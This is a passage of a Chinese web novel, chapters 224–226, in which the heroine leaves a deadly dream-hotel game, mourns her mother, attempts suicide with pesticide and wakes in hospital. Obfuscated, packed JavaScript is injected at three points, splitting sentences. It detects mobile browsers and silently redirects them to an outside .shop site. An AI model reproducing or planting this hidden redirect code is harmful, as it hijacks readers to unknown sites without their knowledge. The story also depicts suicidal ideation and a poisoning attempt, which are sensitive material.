;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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俞小澄眼神黯淡地望向招财,挤出一个没有灵魂的笑,说:“反正住客死了也会变成恶灵,不是吗?恶灵是消灭不完的,我以前是不是太傻了?” 进宝看见俞小澄的样子,心里有些发怵,紧张地关心道:“姐姐怎么了?你别吓进宝啊……” 俞小澄安慰一般摇了摇头,空洞的眼神直视着前方,却又好像什么都没有看到。 “没什么,只是刚才听了大林的话,我好像突然找到了前进的方向,呵呵……” 俞小澄空洞的眼神中忽然闪过一道异样的光,那光如同在黑夜中给迷失了方向的人带去了最后一丝希望。 在招财进宝的沉默中,俞小澄低声自言自语道:“是啊,反正住客死了也会变成恶灵,我为什么不成为恶灵,创造属于自己的世界呢?” 在她的幻想中,那个世界可以有张尧,可以有曾勇,可以有白羽楠,还可以有吴樊祐。 所有她失去的人,都可以在梦境中重新被塑造,只要以恶灵的身份活下去,她想要的一切都会围绕在她身旁,她可以创造一个梦寐以求的世界,又何苦在旅店里孤零零地苦苦挣扎呢? 那道异样的光点燃了俞小澄心底的希望,让她整个人都兴奋起来,一甩平日萎靡不振的状态,她兴冲冲地前去找范正昂。 “是啊,我为什么没有早一点想到呢?没有人等我,那我就创造一个有人等我的世界,这样不是更好吗?” 224. 梦境(九) 俞小澄返回会议厅,找到了还在与小北讨论取胜办法的范正昂,她顾不上解释太多,一脸兴奋地拉着范正昂便离开了会议厅。 找了一圈,见书房没人,俞小澄便拉着范正昂进了书房,门刚锁上,她就迫不及待地说道:“范先生,今晚我准备离开了,这场梦境只有你加油啦。” 这话若放在别的地方,兴许是一场旅行前的道别,听见的人大概会小心叮嘱几句注意安全,然后便祝她一帆风顺、玩得开心。 可放在梦境中,听到这句话的范正昂是一点都笑不出来。 范正昂此时眉头紧锁,一脸焦虑地说道:“怎么这么突然,你真想好了?跟我一起在旅店活着不好吗?我保证以后少拖你的后腿,也不让新住客烦你,怎么样?要不你再考虑考虑……你若变成恶灵,真不知道有多可怕呢……” 可惜,范正昂半开玩笑的劝说,并没有让俞小澄动摇。 俞小澄没有解释自己为何突然做此决定,话锋一转便嘱咐道:“这场梦境的恶灵你不必在意,要让游戏结束有两种方式,一是大林和小北之间你任选其一让他出局,一是让平安夜持续到最后一夜。” 范正昂知道劝不动俞小澄,轻轻叹了口气,转而将注意力放到结束游戏这件事上,问:“大林和小北?他们有什么特别?” 俞小澄平静地解释:“大林是本场梦境的恶灵,而小北和昨晚被我害死那个石头,正是恶灵在现实中的朋友。” “你又见过?” “嗯,来旅店的第二天,这三个高中生成了新住客,当晚小北死于梦境之中,大林踏进了记忆之门,至于石头,次日因为冲撞客服被旅店消灭。” 对于这三人的故事,俞小澄只是一笔带过,未评价这三人性格有多顽劣,也没有细说他们做的荒唐事,其实说到底,她现在做的事也没好到哪儿去。 或许她与那三人唯一的区别就是那三人无意识地做了恶事,而她是有意为之。 范正昂觉得很新奇,没想到俞小澄接连两天遇上旧相识,又问:“你怎么查出他们中谁是恶灵的?” 俞小澄苦笑着说:“他自己承认的……” 这话听上去十分滑稽,范正昂哭笑不得,转念一想,又萌生出一种新的劝说角度,遂道:“按照这遇人几率,说不定很快你又能见到想见的人!” 这句话并没有安慰到俞小澄,反而让她原本重拾的些许欣喜在这一刻被怅然若失的思绪淹没。 “见到又能如何?我只会毁掉一个又一个梦境,毁掉他们仅剩的生存方式,也许,小白也以自己想要的方式活在梦境里,而我也可以!” 俞小澄说话的声音始终保持着冷静,没有起伏,只是平淡到好像无法表达情绪,不管是失落、绝望,还是期待、惊喜。 范正昂为她这样的状态而感到不安,小声询问:“那样真的算活着吗?” “为什么不算呢?”俞小澄反问,“永远留在旅店也算活着吗?” 范正昂愣住了,竟觉得俞小澄的话有几分道理,大家追求的不一样,所以选择也不一样罢了。 “行吧,我不说了。”范正昂明智地选择了妥协,继续将话题拉回梦境上,“要让大林和小北出局一个并不简单啊,或许我该考虑撑到最后一天。” 俞小澄将现在每个房间的阵营格局大致告诉了范正昂,只要每天投票时保证自己不被投出去局,那基本等到最后一天就可以顺利离开梦境。 “确保自己不被投出局吗?现在人阵营人数占优势,只要能悄悄拉所有人阵营的参赛者一起投票,应该可以确保,问题是如何拉拢其他住客呢?” 范正昂陷入沉思中。 俞小澄在房中找来一张纸,在纸上写下三组数字,再依次标注其代表的阵营,随后递给了范正昂。 “也许之后你用得着,你可以跳我的先知身份,交换卡牌编码可以证明你的身份,另外小北也可以证明你是人,要怎么用就随你了。” 俞小澄给出自己的建议,同时也希望范正昂用自己的办法生存下去,今后没她帮忙,他只能靠自己了。 交代完游戏阵营的信息,她又看了一眼招财进宝,然后对范正昂说:“我走后,会让招财进宝一直跟着你,你有想要确认的事可以问他们,他们可以写字告诉你一些信息,你避开旁人就好。” 像是为了给俞小澄捧场,招财用纸笔写了个“OK”,并展示给范正昂看。 范正昂目瞪口呆地点了点头。 仿佛做完了最后的道别,将该交代的都交代清楚了,俞小澄感觉肩上的重任一下卸了个干净,竟觉得有些感慨。 不知不觉进入旅店已过二十五天,因为梦境的存在,让这不到一个月的时间感觉加倍延长。 俞小澄爽快地拍了拍范正昂的肩,难得轻松地说笑道:“如果今后有机会在梦境中相遇,我一定争取给你放放水,让你安全回到旅店。” 范正昂无语地笑了,有些对她无厘头想法的无言以对,也有些对她这个最佳大腿的依依惜别。 之后俞小澄像个准备春游的小朋友,坐立不安地等待着夜幕的降临,整个心思都已经飘到了游戏之外,不管谁跟她搭话,她都心不在焉,充耳不闻。 范正昂则截然不同,一整天他都很忙碌,悄悄接触每一个人阵营参赛者,笼络这些人跟他一起冲票B和E房间的某头狼。 B房和E房的狼虽也相互认下身份,奈何票数上已经不占优势,又因为对人和羊全都具有威胁性,所以根本没法摊牌合作。 至于羊阵营,灰羊是佛系恶灵,根本不在意输赢,只是单纯陪朋友玩游戏,现在C和D两房都是人羊组合,不太好区分和请离,因此也就谈不上齐心协力一起投票某一人。 故而,当晚上9点公布投票结果时,B房间又少了一头狼,这人被执行者抓进驱逐间做成了蜡人。 至此,一切尘埃落定,人阵营胜利基本已经是大势所趋。 这晚,A房间的四人没有变化,除了B房仅剩的那头狼转移到了E房,其余房间均无人员变动。 在象征性地进入密室打坐10分钟后,俞小澄急切地回到床上躺下,可是因为太兴奋,大脑始终平静不下来,越想睡越是睡不着。 就这么闭着眼,感觉时间缓慢流转,直到十二点的钟声响起,陡然一股困意袭来,俞小澄便就此失去意识。 不过很快,她就被一阵熟悉的呼唤声吵醒,时间间隔恐怕不超过3分钟。 这次她没有坐起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240256|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是保持着原本的睡姿,闭上眼,侧耳聆听着门外动静。 这一夜风平浪静,门外始终没有传来脚步声。 俞小澄一直等了十分钟,想来平安夜执行者不会离开驱逐间,也就不用担心出门撞上,直接被就地正法。 虽说就结果而言,死亡、找到记忆碎片、通过记忆之门三者的效果一样,可死亡多少会疼,如果可以选,俞小澄当然希望尽量避免。 下了床,抬眼便看见招财进宝正浮在半空中望着自己,眼神中满是不舍。 平日这个时候,两个小家伙早该挤在她床上呼呼睡大觉了,今日却难得没睡,大概是明白,一旦睡着了,醒来便再也见不到俞小澄了。 招财强挤出一张笑脸,对俞小澄说:“我们要陪姐姐走到最后一秒,不会让姐姐觉得冷清,这世上还有我们记得姐姐呢!” 进宝勉强振作起精神,搂住俞小澄的脖子说:“姐姐别忘了进宝,我们一定会再见面的,一定!” 一丝丝暖意在心头扩散,俞小澄伸手揉了揉招财进宝的脑袋,然后在两个小家伙的保驾护航下,向房门口走去。 路过的床铺上躺着陷入睡梦中的人,即便俞小澄在房间里闹出点动静,他们依然睡得很熟,对任何声响都没反应。因此,俞小澄也用不着再跟范正昂道别了,径直穿过房间,走到了房门口。 门缝里是那熟悉的微弱亮光,与那唤醒她的声音一道,连续出现三晚,仿佛一个倔强到不达目的绝不死心的人。 俞小澄开门进入走廊,远远便看见楼下客厅亮起的微光。 循着光亮下了楼,她在客厅茶几上发现了那封字迹斑驳的老旧土黄色信封。 此刻,招财进宝的神情比俞小澄更加紧张,眼睛直愣愣地看着俞小澄。 俞小澄慢步走到信封前,平静地俯身坐在沙发上,犹豫片刻后,终于将手伸向了那个信封。 “其实第一次看见这个信封时,某些记忆就已经烙进了我脑子里。”俞小澄一边用手指拂过斑驳的字迹,一边忧伤地喃喃自语,“我总害怕让自己记起,本能地想要逃避,我可以承认我是个失败的人,却不想承认我是个不合格的女儿……” 招财小声搭话:“姐姐,这是谁的信?” “是母亲写给我的信,在她离开人世前,写给我的最后一封信……” 当这句话说出口,俞小澄嘴角露出一丝释怀的笑,苦涩中带着些许勇气,她缓缓拆开了信封,在抽出信纸的一刹那,整封信化作星星点点的火花。 火花在空气中飞舞,一些撞在了俞小澄的指头上,随后俞小澄仿佛被引燃了一般,整个人被火光包围。 没有痛苦,没有挣扎,仅仅是融为一体。 片刻后,俞小澄在火光中分解成无数星星点点的火花,与方才那封信混在一起,再分不出哪些是俞小澄,哪些是那封信,又或者说,从一开始,它们就都只是俞小澄的记忆,如今终于完整了。 招财进宝沉默地看着无数火花在客厅里飞舞,犹如倾诉着道别,然后一点一点熄灭,直至消失殆尽,整个客厅都重归黑暗与寂静。 自黑暗深处传来一阵轻声细语。 “姐姐,再见。” “姐姐,别忘了我们。” 225. 面对现实 迷迷糊糊中,俞小澄感觉身子在颠簸中左摇右摆,沉甸甸的脑袋跟随着外部的摇晃不停往下沉,耳朵里充斥着不太真实的说话声和引擎声,她想要睁眼看看,却发现自己困得不行,眼皮耷拉着怎么也撑不开。 突然嘭的一声响,俞小澄嘴里发出一声哀嚎:“嗷!” 在一阵直冲天灵盖的疼痛刺激下,俞小澄总算清醒过来,一边用手捂住脑袋,一边睁开眼左顾右盼。 她此刻正坐在大巴车上,四周的乘客正向她投来异样的目光,盯得她面色微红。 她不好意思地揉了揉发烫的耳垂,坐直了身子,战术性清了清嗓,将头扭向窗户方向,假装欣赏起窗外不断倒退的田野风光。 车内的乘客从她身上收回视线,各自陷入自己的世界,有的人继续聊天吹牛,有的人沉浸在音乐的海洋,有人则靠在椅背上闭目养神。 俞小澄终于回过神,想起自己正在回老家的大巴车上,而终点在等待她的是母亲离世的现实。 刚才她好像做了一个很长很长的梦,梦里她被困在了一个叫穷途旅店的地方,无法离开,每晚都要经历要人命的梦境。 她清楚地记得在梦中遇见了四年未见的大学学弟——吴樊祐,又结识了形形色色的陌生人,有的让她喜欢,有的让她讨厌。 然而梦境的结局很惨,那些她在意的人接二连三离世,留下她一个人,孤零零地被困在旅店中,没有休止地看着一批又一批人来到穷途旅店,又一批接着一批死在梦境中。 那些死掉的人最终变成了梦境中的恶灵,让这个绝望的世界永无终点。 最终,她自己似乎终于受不了了,自愿选择成为恶灵。 “真是个怪梦……连做梦都只有死亡和孤独吗……”俞小澄在心里暗骂道。 大巴车在乡间小路上一路飞驰,一直开到夕阳西下,才抵达目的地。 下车后,俞小澄又徒步半小时,终于与月光一起抵达了此行的终点站——她那阔别已久的老家。 一栋看上去有些年头的两层小楼矗立在院子里,外墙破损脱落,房子里没有点灯,在夜色的衬托下,好像一栋会闹鬼的房子,阴森恐怖了一些。 俞小澄将行李往院子里一扔,傻傻地站在空无一人的院子里不知何去何从。 过了许久,她才从衣兜里掏出手机,拨打了那个不想拨打的电话号码。 “嘟——嘟——” 手机里每传出一声响都让俞小澄心中紧张一分,直到一个女人的声音打破了重复的节奏,然后劈头盖脸就是一番数落。 “怎么这么晚啊!哎,我姐怎么摊上这么个不懂事的孩子,没本事就算了,连给她送终都做不好……” 电话那头的声音很嘈杂,大概没等她这个女儿到场,她小姨就已经开始了送别仪式。 俞小澄不敢回嘴,一直听着电话那头传来的谩骂声,最终还是那头姨父劝了几句,小姨才终于停止谩骂,回到了正题上。 “灵堂没有摆在家里,你赶紧到怀禹殡仪馆来吧。”电话那头厉声命令道。 话音刚落,俞小澄就隐约听到姨父问了声:“那女娃跑回家了?你电话里没跟她说清楚吗?” 小姨不耐烦地回了句:“说了说了,肯定是这丫头记错了。” 姨父唱红脸问:“哎呀,这个时间不好打车了吧,要不要我开车过去接她?” 小姨唱白脸答:“我们这边都忙得抽不开身了,她这个做女儿的连打个车都不会吗?去招呼客人吧你!” 俞小澄全程只是沉默着听对面演出,等到时机差不多了,便好声好气地回道:“嗯,知道了,我自己打车过去,辛苦小姨……” 对面依然没有好脸色,她话还没说完,电话就被掐断了。 “了。”俞小澄还是将最后一个字吐了出来,随后便在手机地图上搜起了“怀禹殡仪馆”。 虽然母亲去世得突然,俞小澄在接到小姨电话时整个人都懵了,可她依然清晰地记得小姨让她直接回老家,说灵堂会设在家里。 如今翻脸不认账,俞小澄并不觉得意外,她小姨一直不喜欢她,觉得她就是家族的耻辱,好不容易考上了大学,结果一事无成,这么大了还得靠着母亲养活。 俞小澄没在意这事究竟是有意还是无意,网上打了辆车,冲冲赶往真正的目的地。 这一路又是半个小时。 在殡仪馆里找了一圈,终于找到了她母亲的灵堂。 灵堂外坐了几桌子人,看上去相当热闹,不过每个人她都不认识,她与家里亲戚来往少,看见每个人都觉得是生面孔,可他们似乎是认识她的,每个人见到她总会客套地说上一句“节哀顺变”。 俞小澄每次都只是微微点点头,嘴上回一句:“谢谢。” 终于在人群中寻到了小姨的身影,她便硬着头皮上前打了招呼。 此时站在她面前的小姨面容憔悴,看她的眼神写满憎恨,一见到她又红了眼眶,脸上的泪痕是干了一层又叠上一层,看得出她与母亲的关系是真的很好。 欲言又止了许久,小姨抹了一把眼泪,将她往灵堂方向推去,声音颤抖地叮嘱道:“最后再去看你妈一眼……” 只是一句话,就好像用尽了她全部的力气,再没有电话里那般气势汹汹。 “嗯……”俞小澄淡淡地从鼻腔里哼出一个字,然后便朝灵堂里面走。 穿过外面摆放着桌椅的守灵小房间,经过开在两侧的拱门,便进入了停放尸体的房间。 与外面的热闹不同,这个房间里很冷清,一口冰棺孤零零地摆放在房间中央,表面已经盖上了黄布,冰棺前的桌子上摆放着母亲的遗像。 这一刻,一直压抑在心中的悲痛终于是决堤了,顷刻之间将俞小澄淹没于无尽的漩涡之中,眼泪如注,她捂着嘴泣不成声。 没想到最后一眼还在九年前,再见时已是阴阳两隔。 俞小澄伸出颤抖的手指,小心翼翼地掀开了一头的黄布,黄布下的冰棺里,母亲闭着眼,鼻孔里塞着棉花,面色苍白。 “妈……” 一声有些变形了的呼唤从俞小澄嘴里传出,每说出一个字她都感觉嗓子犹如针扎,就像被什么堵住了一样,她什么都说不出来。 眼前的人明明就像只是睡着了一样,如果她喊喊,是不是就能醒过来呢? 俞小澄隔着玻璃看着那个再也不会骂她,不会对她有所期待的人,心里说不出来的难受。眼泪一遍又一遍模糊她的视线,滴落在冰棺玻璃上,被她用衣袖擦去,又一遍一遍滴落。 不知过了多久,有人将她从房间里拉了出去,黄布重新盖上,这一面终于成了人生的最后一面。 小姨联系的阴阳师傅向她问了许多问题,用来测算火化和下葬的吉日,这时她才发现,关于母亲的问题她很多答不上来,几乎都是小姨帮忙解答。 母亲的后事全靠小姨忙前忙后,俞小澄一直处于浑浑噩噩之中。 守灵三日,选购墓地,火化,下葬,俞小澄被人戳一下跳一下地走到了最后。 她家院子后面有块空地,那里葬着她父亲,如今倒是省事,不用专门再去外面买墓地,花钱重新做了块墓碑,将母亲的骨灰盒与父亲的合葬在一块儿。 等到所有流程走完后,小姨一脸忧愁地看着俞小澄,郑重其事地说:“今后你妈照顾不了你了,你只能靠你自己了啊!别再继续这么活着了!” 说罢又重重叹了一口气,然后带着她姨父离开了。 在小姨的眼中,她还是那个不让母亲省心的顽童。或许在小姨看来,母亲之所以会死,都是俞小澄的错,因为俞小澄,母亲吃了一辈子的苦,没享到一点清福便撒手人寰了。 母亲的丧事办完后,还有一堆销户手续和遗产处理的事在等着她,这些事她总不能再麻烦小姨,只能后面自己挨个办。 原来人死后,留在这世上的也就这么点痕迹,留下来的人还得亲眼看着它们一点一点从自己的生活中被清除。 如今这栋两层小楼里只剩下她一人,夜深人静时,她又回想起当初的那个梦。 在梦中,母亲并没有死,当她夜晚睡觉害怕时,还能溜进母亲的房间,跟母亲挤着睡一宿。现在,她只能躲在被窝里哭,等苦累了,眼睛哭疼了,人就迷迷糊糊睡过去了。 丧事结束的第二天,俞小澄终于得空开始收拾母亲房间里的遗物。 然后她就看到了桌上的一封信,一封写给俞小澄的信,一封写了却不打算寄出的信。 这个时代已经没有人会寄信了,想说什么发条短信就成,可俞小澄离开老家以后,其实很少跟母亲聊自己的近况如何,母亲发短信问,她都只回两个字——在忙。 主要在潜意识里,她害怕母亲过问自己的生活,害怕她再为自己规划人生道路。 信里都是母亲的絮叨,那些没能通过电话和短信传达给俞小澄的思念。 读信时,俞小澄仿佛能看到母亲写下这些文字时的每一个表情,或担忧,或难过,或无奈…… 一瞬间,深深的罪恶感刺痛了俞小澄,她从来只觉得生在这个家庭中,受折磨的一直是她自己,从不知道她也同样折磨着自己的母亲。 现在一切都晚了,她想道歉也没有道歉的机会了,母亲再也听不到了。 或许,母亲在离开人世的最后一刻,都想着再见她这个唯一的女儿一面,可惜,母亲没有等到这一天。 彼时俞小澄又在做什么呢? 她将自己锁在出租房中,与世隔绝,以为如此就能寻找到自以为的自由。 俞小澄曾以为母亲写给自己的信中多半又是说教与劝说,就如同她长久以来,在记忆深处对母亲留下来的印象。 可当她拆开信封拿出信纸时,她发现那几页纸上密密麻麻写下的都是母亲的自我反省。 作为母亲,她总希望把最好的一切给孩子,也会偏执地以为自己给的就是最好的,直到自己不求回报的付出将孩子越推越远,她终于意识到哪里不对了。 可很多感情都难以用语言诉说,于是这道隔阂一直存在于母亲与孩子之间。 这封信写于母亲入院前,她想着或许趁着自己病了,将俞小澄叫回来,然后告诉俞小澄桌上有封信,自然而然可以化解这道隔阂。 可惜她没想到病情恶化得如此快,俞小澄收到消息时,她人已经没了。 信的最后写着: “这次回来了,就留下吧,家里什么也不缺,我们这小地方虽比不上大城市,可好歹住在家里,什么都方便些,也没有经济压力不是?” 那是梦中母亲对她说的话,是她希望能听母亲亲口说出的话,实际上,她只能从文字上感受到母亲离家前对未来怀抱的期许,不是逼她有所作为,而是一家人在一起就好。 在空荡荡的房间里,俞小澄放声大哭,一声声喊着“妈”,却再也等不来回答。 她这一生,没做出几件值得母亲骄傲的事,唯一让母亲在家族里抬起头的是她考上了大学,然而动机却是为了从母亲身边逃走。 无尽的歉意将俞小澄层层包裹住,令她窒息,却如何也找不到出口。 一整夜,她就靠墙坐在窗边,看着再也不会有温度的床,衣柜里再也不会有人穿的衣服,感觉心跟这栋房子一样凉。 夜风从开着的窗户吹进来,吹得她浑身冰凉也没有动过,她甚至想:要不就这样死了一了百了…… 就这么坐了一夜,俞小澄一夜未合眼,眼睛因为哭得太多而水肿,只能没精打采地虚成一条缝。 窗外的天亮了,俞小澄摇摇晃晃站起身,步履蹒跚地往屋外走,她想去母亲的墓前陪母亲说会儿话。 路过院子时,她偶然瞥见墙角堆放的农药,一股冲动袭上心头。 那些东西在她眼中就像是能替她解决所有烦恼的法宝,俞小澄笑着走了过去,随便拿上一瓶,就离开了院子,绕到院子后的墓地前。 她跪在父母的墓碑前,伸手描着碑上的字,喃喃道:“你们都走了,就留下我一个,我又该为了什么而活呢?” 除了田间吹过的风,没有人回答她这个问题。 俞小澄嘴角含笑,低头看了一眼手里的瓶子,小声说道:“要不我去找你们吧,也不知道妈在不在等我……” “我没有朋友,也没有工作,现在连父母都没了,还留在这里做什么呢?” “从小到大,我一直是个失败者,甚至不能成为一个好女儿……呵……我这种人凭什么还活着……” “我是不是傻?反正最后结果都是灰溜溜地滚蛋,我干嘛要忍气吞声?” “反正最后结果都是自己一个人默默消化,我又何毕成人之美?” “人善被人欺,可我明明算不上什么好人,活得这么窝囊干什么!” 一句句自我厌弃的话脱口而出,她似乎想将压抑了许久的实话全都说出口,扔下压在肩上的包袱,一身轻松地起程。 等到想发泄的全部发泄完后,俞小澄在父母的墓旁坐下,打算干了那瓶农药,彻底告别这个世界。 就在她拧开瓶盖,将瓶嘴递到嘴边,都准备闭眼的时候,她忽然感觉有种既视感。 这一切怎么好像经历过? 俞小澄的心猛然一跳,那种异样的感觉吓得她手抖,一个没拿稳,瓶子从手中滑落,嘭的一声撞在地面上,弹跳一下便滚到了一旁,里面的药水洒了一地。 一瞬间,俞小澄脑海中出现了同样的画面,脱手落地的药瓶,洒了一地的药水,不同的是,记忆中的她痛苦地在地上挣扎,口腔、食道、上腹全都如火烧一样疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞小澄觉得很无语,她当初轻生是出于愧疚,出于软弱,唯独不是因为自己罪大恶极,所以要以死谢罪。 她轻生只是觉得这个世上已经没有人需要她了。 仅此而已。 她的罪,父母有资格惩罚,她自己有资格惩罚,却绝不是外人可以轻易判她死刑的程度。 因此,仅凭她选择生还是死来决定她是否悔改,是否有罪,实在可笑至极。 俞小澄已经可以想象出,大概白羽楠和曾勇也都曾面临这样让人无话可说的选择。 不是由他们做出了什么样的事来判断他们是否有罪,而是从一开始他们就被钉在了有罪的柱子上,而能不能离开这根柱子,取决于他们是否会同过去做出同样的选择。 这样的选择本身就很可笑。 突然她明白了,或许穷途旅店一开始就没打算让他们这些被打上“有罪”标签的人离开。 难怪曾勇在最后一刻会说“无论多少次,我都不会改变自己的选择”,大概那个选择本身在曾勇看来就不是罪恶。 在无数的恶灵记忆中,确实几乎各有各的恶,无一例外出现了被这种恶伤害的人,可有时候有罪的一方又何止是旅店的住客呢? 俞小澄从不认为这样一刀切的惩恶手段有多高明,恰好相反,这种极端容易生出冤案。 此刻,俞小澄的脑海中飘过一句话,曾经某位住客质问客服凭什么认定住客有错在先,二号客服回答: “这个自然由苦主来判定,本店只为这世间不公,提供一点情绪宣泄的途径。” 这句话当时带给俞小澄些许触动,只是因为缺少了部分记忆,她不知道自己究竟害了谁。 可现在记忆找回来了,这句话就让她更懵了,所以这个所谓的苦主难道是她母亲? 可从母亲留下的信中,她从未感受到一点对她的责备,相反,母亲正准备试着接受比别人失败一点的她。 那么这位苦主是谁? 那个不知道从何而来的声音显然不会回答她这个疑问,这会儿那个声音又开始催促俞小澄赶紧做出决定。 俞小澄被这不断的催促声搞得心烦意乱,一气之下将药品往地上一摔,气恼地冲着不存在的人吼道:“不喝!我的罪也不该由你们来定!” 此刻她心中只有一个想法——离开穷途旅店,然后找到穷途旅店的管理者,让TA知道穷途旅店存在本身有多不合理。 是的,原本已经准备好在梦境中创造自己世界的人,在得知了所有真相后,突然意识到吴樊祐的相信本就没错,如果她没有一味地自我否定,或许吴樊祐也不会死了。 她不会喝下毒药,她要活着,去揪出将所有人困在这里的人,撬开TA的脑袋看看到底运行着怎样的逻辑。 当俞小澄作出选择的一瞬间,整个世界开始消散,没有任何预兆,一点一点从她眼前如尘埃一般被风吹散。 然后整个世界陷入了无边无际的黑暗,没有声音,没有光,俞小澄甚至感觉不到自己的存在。 她想要高声叫喊,可张开嘴却发不出任何声音;想要抬手,却发现全身根本无法动弹。 是选错了吗? 不应该啊…… 她明明没有做出和现实一样的选择。 可为什么没有回到现实呢? 还是说,现实中的她其实早死了? 是啊,应该是死了才对啊…… 是她自己做出了赴死的选择,自然死亡是她咎由自取的结果。 或许一切都是她在弥留之际做的一场梦,在她想象的地狱中,受罚,赎罪…… 真的都只是她一厢情愿的幻想吗? 心中隐隐不甘,可转念一想,如果只是她的幻想,那或许她结识的人根本就不存在,也就没有被困梦境或彻底消亡一事了,而吴樊祐也在没有她参与的现实世界中平安活着。 这样一想,又何尝不是一种安慰呢? 或许就这样吧,反正她的人生就是由无数的不圆满构成的。 如此想着,俞小澄渐渐习惯了这种黑暗与空虚,意识逐渐坠入混沌之中。 不知过了多久,耳边隐隐约约传来有节奏的滴滴声,就像某人的心跳,眼睛也模模糊糊感觉有光,全身的知觉似乎在缓缓苏醒。 随后,她听到了脚步声,感觉到身周围的气息,接着便感到有人扒开她的眼皮,一道明晃晃的光直射入瞳孔,她下意识地想闪避。 随之而来的是一个陌生的声音,似乎在同其他人交谈。 “没错,病人苏醒了,联系家属吧。” 226. 正文完结 俞小澄稍稍弯曲了一下手指,感觉拿回了身体的控制权,缓缓睁开眼,对外界的亮度还有些不适应,眼前仿佛罩着一层透明的东西,朦朦胧胧,不怎么看得清。 然后看见一个模糊的人影在她面前晃了晃手指,那人问:“俞小姐,能听到我说话吗?有没有感觉不舒服的地方?” 俞小澄明显感觉脑子转得有些慢,过了许久才反应过来那人是在问自己,她有些疲倦地摇了摇头。 视线随着时间流逝逐渐清晰,她终于看清眼前的人,是个穿着白大褂的女人,头发盘在脑后,戴着一副眼镜,视线落在她脸上,似乎正观察着她的反应。 她想回话,却感觉嗓子干涩,说话的声音一点都听不出来是自己的。 “我……怎么……这是哪儿啊……” 断断续续的话从俞小澄嘴里吐出,面前的女人安抚一般道:“怀禹中心医院,你还记得昏迷前的事吗?” 俞小澄点了点,有气无力地用沙哑的嗓音回答:“有人让我选择……喝还是不喝……这是我创造的梦境吗?” 俞小澄觉得有哪里不对劲,如果真是沦为了恶灵,她怎会如此虚弱,而且她还没有考虑过梦境规则,所以这里是现实吗?她离开旅店了吗? 乱七八糟的想法在脑海中纠缠碰撞,搞得她晕头转向。 女医生被她的问题也问懵了,微微一笑没有回话,而是转头对一旁的护士说:“意识混乱,先留院观察一天再说。”说罢又回过头,轻声安抚俞小澄,“俞小姐,你刚醒过来,脑子里可能还有些乱,好好休息,慢慢就会恢复的。” 女医生说完这些话,跟护士简单交代了几句,随即离开了房间。 护士安静地转到床头,替俞小澄更换输液袋,并善意地解释输液袋里装的是营养液,让俞小澄放轻松别紧张。 俞小澄此刻才留意到自己身处一间独立的病房,整个房间里就只有她这一位病患,这种特殊待遇让俞小澄顿感不妙。 "我是怎么到这里来的啊?"俞小澄低声问道。 护士正拿出仪器准备替她测体温量血压,闻言笑道:“傻姑娘,想不起自己干了啥傻事了吗?你也真是的,年纪轻轻,怎么就不珍惜自个儿的生命呢!还好有邻居从你家经过,发现及时,把你送医院来了。” 俞小澄渐渐回想起,在痛苦倒地失去意识的前一刻,的确看到有人朝自己跑来。 “原来我真回到现实了啊……”俞小澄小声嘟囔。 护士闻言苦笑着摇了摇头:“睡了这么久,脑子不清醒也正常,再住两天院,估计就能回家了,回家后可不能再想不开了哦。” 护士将测量出的数据记录下来,然后叮嘱她别胡思乱想,说已经找人打电话联系她家人了,估计过会儿就有人来看她了。 在护士推着医用推车准备离开时,俞小澄叫住护士,战战兢兢地问道:“我在这儿住了多久了?” 护士从推车上找到俞小澄的病例翻看片刻,答:“今天是你住院的第二十八天。” 俞小澄听到的瞬间,就跟后背被扎了一针似的,猛地坐了起来,心里瞬间开始计算起住二十八天单人病房需要花费多少钱,越想越害怕,声音颤抖地问道:“如果交不起住院费,我会不会坐牢?” 护士愣了一下,随即笑出了声,道:“你可真幽默,放心,你的住院费你家里人提前预支了。” “我小姨?”俞小澄有些不相信。 “哦,好像是,她对你真不错,还专门请了个护工,每天在医院照顾你,不过说来奇怪,今天怎么没看见那个护工呢?”护士打开了话匣子,将俞小澄不知道的事一股脑往外倒。 俞小澄越听越觉得魔幻,她从不认为她这个小姨能对她这么好,住院选单人病房,请护工可能是不想苦了她自己,可这笔费用可不少,小姨真舍得? 她越想越觉得奇怪,决定等小姨来了好好问个清楚。 可是这一等就等到了晚上,没有人来看过她。 护士跟她说确实是联系上了她小姨,也告诉了对方俞小澄醒过来的消息,至于对方为何没出现,医院就没法猜测了。 护士安慰道:“兴许是今日有事忙,大概明日就来了吧。” 第二天,俞小澄又在病房里等了一整天,依然没能等到那个算不上陌生的身影。 她的一切检查数据显示无异,混乱的记忆也逐渐回归正常,医生表示明早就可以出院回家了,护士则安慰说明天出院肯定家里人会来接她的。 俞小澄回了一个微笑,没有说话。 小姨真的可能会来接她吗? 至少俞小澄觉得不可能,小姨从来都不喜欢她,觉得她不是一个好女儿,觉得她母亲之所以一辈子这么苦,一是摊上了她父亲这样的短命鬼,二是摊上了她这样的白眼狼。 这么一想,俞小澄忽然惊得坐直了身子,似乎终于找到了穷途旅店所说的苦主。 对啊,能如此记恨她,又活在这世上的人,除了小姨还能有谁呢? 可转念一想,穷途旅店当真存在吗? 她二十八天一直住在怀禹中心医院没有离开过,又是如何进入到穷途旅店的呢? 或者说,穷途旅店根本就是她喝药把脑子烧坏了,做的一场梦? 越想越觉得虚无缥缈,俞小澄甚至有时候都在怀疑自己是不是真的清醒了,是否真的离开穷途旅店了…… 